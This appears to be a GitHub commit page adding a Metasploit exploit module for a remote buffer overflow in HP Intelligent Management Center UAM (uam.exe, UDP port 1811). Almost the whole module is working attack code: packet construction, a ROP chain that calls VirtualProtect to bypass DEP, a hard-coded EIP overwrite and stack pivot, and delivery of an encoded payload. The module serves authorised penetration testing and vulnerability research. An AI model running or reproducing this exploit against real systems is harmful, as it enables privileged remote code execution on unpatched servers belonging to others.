Skip to content

Commit 4615e71

Browse files
committed
Merge branch 'hp_imc_uam' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-hp_imc_uam
2 parents 76c3dec + 22fbfb3 commit 4615e71

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::Udp
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'HP Intelligent Management Center UAM Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a remote buffer overflow in HP Intelligent Management Center
20+
UAM. The vulnerability exists in the uam.exe component, when using sprint in a
21+
insecure way for logging purposes. The vulnerability can be triggered by sending a
22+
malformed packet to the 1811/UDP port. The module has been successfully tested on
23+
HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
29+
'sinn3r', # Metasploit module
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
['OSVDB', '85060'],
35+
['BID', '55271'],
36+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-171']
37+
],
38+
'Payload' =>
39+
{
40+
'BadChars' => "\x00\x0d\x0a",
41+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
42+
'Space' => 3925,
43+
'DisableNops' => true
44+
},
45+
'Platform' => ['win'],
46+
'Targets' =>
47+
[
48+
[ 'HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2',
49+
{
50+
'Offset' => 4035,
51+
}
52+
]
53+
],
54+
'Privileged' => true,
55+
'DisclosureDate' => 'Aug 29 2012',
56+
'DefaultTarget' => 0))
57+
58+
register_options([Opt::RPORT(1811)], self.class)
59+
end
60+
61+
def junk(n=4)
62+
return rand_text_alpha(n).unpack("V")[0].to_i
63+
end
64+
65+
def nop
66+
return make_nops(4).unpack("V")[0].to_i
67+
end
68+
69+
def send_echo_reply(operator)
70+
packet = [0xF7103D21].pack("N") # command id
71+
packet << rand_text(18)
72+
packet << [0x102].pack("n") # watchdog command type => echo reply
73+
packet << "AAAA" # ip (static to make offset until EIP static)
74+
packet << "AA" # port (static to make offset until EIP static)
75+
packet << operator # Operator max length => 4066, in order to bypass packet length restriction: 4096 total
76+
77+
connect_udp
78+
udp_sock.put(packet)
79+
disconnect_udp
80+
end
81+
82+
83+
def exploit
84+
85+
# ROP chain generated with mona.py - See corelan.be
86+
rop_gadgets =
87+
[
88+
0x77bb2563, # POP EAX # RETN
89+
0x77ba1114, # <- *&VirtualProtect()
90+
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
91+
junk,
92+
0x77bb0c86, # XCHG EAX,ESI # RETN
93+
0x77bc9801, # POP EBP # RETN
94+
0x77be2265, # ptr to 'push esp # ret'
95+
0x77bb2563, # POP EAX # RETN
96+
0x03C0990F,
97+
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
98+
0x77bb48d3, # POP EBX, RET
99+
0x77bf21e0, # .data
100+
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
101+
0x77bbfc02, # POP ECX # RETN
102+
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
103+
0x77bd8c04, # POP EDI # RETN
104+
0x77bd8c05, # ROP NOP (-> edi)
105+
0x77bb2563, # POP EAX # RETN
106+
0x03c0984f,
107+
0x77bdd441, # SUB EAX, 03c0940f
108+
0x77bb8285, # XCHG EAX,EDX # RETN
109+
0x77bb2563, # POP EAX # RETN
110+
nop,
111+
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
112+
].pack("V*")
113+
114+
bof = rand_text(14)
115+
bof << rop_gadgets
116+
bof << payload.encoded
117+
bof << "C" * (target['Offset'] - 14 - rop_gadgets.length - payload.encoded.length)
118+
bof << [0x77bb0c86].pack("V") # EIP => XCHG EAX,ESI # RETN # from msvcrt.dll
119+
bof << [0x77bcc397].pack("V") # ADD EAX,2C # POP EBP # RETN # from msvcrt.dll
120+
bof << [junk].pack("V") # EBP
121+
bof << [0x77bcba5e].pack("V") # XCHG EAX,ESP # RETN # from msvcrt.dll
122+
123+
print_status("Trying target #{target.name}...")
124+
send_echo_reply(rand_text(20)) # something like... get up! ?
125+
send_echo_reply(bof) # exploit
126+
end
127+
end

0 commit comments

Comments
 (0)